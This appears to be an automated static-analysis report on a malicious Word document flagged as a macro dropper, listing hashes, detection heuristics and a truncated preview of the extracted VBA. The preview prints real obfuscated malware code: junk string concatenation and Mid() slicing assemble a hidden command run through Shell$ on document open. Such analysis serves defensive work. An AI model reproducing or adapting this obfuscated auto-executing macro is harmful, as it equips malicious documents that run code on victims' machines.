Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 195cb14fade7c435…

MALICIOUS

Office (OLE)

78.5 KB Created: 2017-10-06 05:29:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 37a146d0ee31b358fa92b1726abf028f SHA-1: 8cd3a6594a2b289ecc514305606ee4f651fd1f77 SHA-256: 195cb14fade7c435e10d673170dd975ee9b3f1c15fd932dc5c9d2663b4a7af10
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6344033-0. Critical heuristics indicate the presence of VBA macros with an AutoOpen function that calls the Shell() command. This strongly suggests the macro is designed to execute arbitrary commands, likely to download and run a secondary payload. No specific family could be identified.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6344033-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6344033-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7001 bytes
SHA-256: f3415535efe8b12fc06e3356a37c7341b1fbfce18902579736a417760387ec34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function fdSZuSKDbTn()
RAhBhdB = "UYynyWY" + "SFYmMKHgMY" + "GTvmTnLa" + "KkvwXbXrf" + "pswtVdpG" + CXGZVUcapC = "SsRzuzpGfY" + "BszZXvEb" + "PvKwhZDeW" + "hWnFpRk" + "MLNRtZgUf" + gTygEwPkzgD = "FuBUSkX" + "aFwXyRdHaG" + "zShngUg" + "PtcuTUC" + "atNtsULNDx" + "ShSHUUsvCxu"
rGgSmMz = "buABXTyrRTb" + "AYUbNUVbd" + "VgVveDmWr" + "fAUFBvvKCDc" + "rXsgRHm" + nPZMmZesg = "YvuECXPCcS" + "vNarzxTkKKD" + "EprhGCuHcEb" + "nKaRKsZhzpN" + "tcSShKRx" + "bDeVWyBheE"
XLnGfhuDT = "aBnWKEbgS" + "vtgzGLvhpKX" + "NXMEMrPA" + "zUPmxFMVc" + "vzMfUtPEeh" + fhMKvxHwL = "CmwsmGT" + "fDsSmWrybZk" + "ggyFfkVpdG" + "EvXssbs" + "SUELYmHG" + "atGNhTnNX"
PBgapTPRnHw = "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + Mid(NrvyPdN, 1, 2) + Mid(NrvyPdN, 11, 4) + Mid(NrvyPdN, 23, 7) + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + " "
nRdbwDpA = "bFSwKEfp" + "rdaSeDxS" + "WTeWCBmXnnV" + "enVcCudyN" + "atBZdLEhTXd" + RnhPrXXG = "cdDSYxH" + "FdkfUhxTf" + "gLHzvpBgzn" + "TCZnWWYHc" + "bSgRxHgVmUV" + "KWFBkKD"
UHUAeUtWhz = "yHLDuNBykHd" + "AVKbkLBDwr" + "gNpRTtzrp" + "mfSnSdsZwK" + "eEEDfEEA" + mYvHLEngWE = "ynLYPZekXz" + "ZwuYLdKkN" + "nkDrEMydL" + "gCZkFNtH" + "uxwDNayaWTm" + pdXLfDwEY = "YxvRRhw" + "CUysYXnmnGp" + "EXfebbEwdHh" + "rDGNVWckxf" + "ABKLAmeEwCz" + "NnsyxwvkPfW"
YfpXECK = "RpBvuRwt" + "fpGrkte" + "yvRZUbreFh" + "MhSmDrfWHcs" + "ZHLBRuzmWDt" + aSYSTVRZpRd = "cZUHHNVSXL" + "kPERwPfDLZx" + "bcgKzEMh" + "ACGTvPmzHe" + "GbfKcUuupPE" + kyppwCrZmND = "WxScZtkrkfs" + "MXVAEeFMc" + "BPkdcKCvnEM" + "rZrgBNK" + "rRnWgRcxWG" + "pMXMhYTdGu"
fYKSnyAZuTz = "rwVnCkE" + "PmeYkVfpF" + "vfPzxyBn" + "MudUnkMzLzr" + "PGXfNnRd" + FRPSrFA = "ttWfddv" + "sNbaYAf" + "SpUkNCgMM" + "GEfYYCSfc" + "HrFvTDCH" + tmdYLvh = "vPthLZAyBwE" + "LXtdgVMBw" + "AutpnZzkrGw" + "sSpWCEt" + "RrCrmVYy" + "BPVyBPL"
PGLvKmAgUSz = "ECPweNARs" + "EAPuPhDdGE" + "aEUgZUuKFpr" + "UNPdktAH" + "AMmSxceCkt" + fVvNNGdzk = "STcHsybaMA" + "NuBYzXPyTe" + "tABDshKrzdF" + "gsakbtX" + "zLXTWwdY" + "TCuuxDMUuE"
sNnxXXWTuYB = "mkBaYYRTa" + "XuXtDpkGBr" + "YnBYhekRt" + "yYsFTRcmEVN" + "vRtEHLKYz" + GurpsyPWpZ = "LMMAuanGN" + "hbwYuBNZBxT" + "SUUkyeVpNhn" + "SgvCUcwfXD" + "PTDUKDKCwS" + "VMXPazvvXZ"
Shell$ "" + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + PBgapTPRnHw + Mid(NrvyPdN, 40) + BRExHnZmrC + fPsFarUVnm + EvwFkbBhXL + rGvkkzUh + YWueYCEEPy + kVukeGskP + XkgssYWAC, 0
TczWGRhTe = "GteLYyxd" + "cFGrkca" + "FUMmkPtpAgt" + "WMaGfEYwuG" + "evnywAPwVVe" + WmAmHkLemW = "gNCSxuK" + "FgSgTGxPUUr" + "fSbHpzY" + "nTVUNWtYpR" + "zabybWrgCbH" + NasynaB = "sSrnkcuPbn" + "LEbkfzk" + "SYHHfhFUH" + "RwLKPKwuf" + "WeMWfnWf" + rfXUWNSeG = "BTSNpkEyB" + "eLcTrdd" + "rsxpSLHZDh" + "hwrZBAFrHeB" + "eNubVBSaA" + "nBXeeCpvZ"
cmPCbZANY = "NztRXUNNN" + "RZDuWvGkXLk" + "EXmAEdvFE" + "SudSNVM" + "xyZFfDMmCD" + ScSSReseZn = "rsgWYtVu" + "CvYDvdbM" + "MnBdLeC" + "eEcwzSpAy" + "LneLvmV" + uTcNZfd = "HdxpyRdvya" + "STAaTBRDVz" + "eKdHUTUZ" + "FZeBGYyuYR" + "HtLXLbcCXU" + "vHKxArRZuD"
ghzvaADD = "EHcXYRPzu" + "nZpCEPCVw" + "TfhBWCwMPwh" + "uNdRanaLEX" + "CTTErKPuT" + pdASsyD = "zabhKZrNR" + "MdayhpmsAt" + "KrZyxYM" + "ZExsTuNEUXD" + "UFGCynS" + bYNctNWbN = "maeNmNFxm" + "aNeccSg" + "UyBnRXz" + "wBZUBBKZPnk" + "CpuGcay" + "zPbNCWN"
gUBFftZ = "WmLUxtem" + "EMnEksuHK" + "SHMfsDysTdn" + "BHtUahCbEr" + "UZfvVCz" + SFzrgpKADWv = "gLueXszMgR" + "kbSAcLtkyw" + "taTcvfAw" + "ZfCxRCR" + "NfUXUsXRvg" + "vvbANaR"
End Function
Function NrvyPdN()
EuyWgeeD = "CLDAyMvwmVY" + "YCTLnpSVH" + "pMCGDNGR" + "XGwMunWS" + "rLkEStGgCfT" + aYbnxCt = "tFsesPcAPGn" + "kDrsdVscps" + "MuUVncwYyR" + "dDEvgRev" + "pnaTafxepYE" + nVbUtZUnDn = "aWEhcGDrL" + "tmzUbfr" + "dsbfauUs" + "YKtSahWYn" + "UnkRNMLKvGn" + VnEaMaub = "WKGySEFDu" + "xnRapFpcz" + 
... (truncated)

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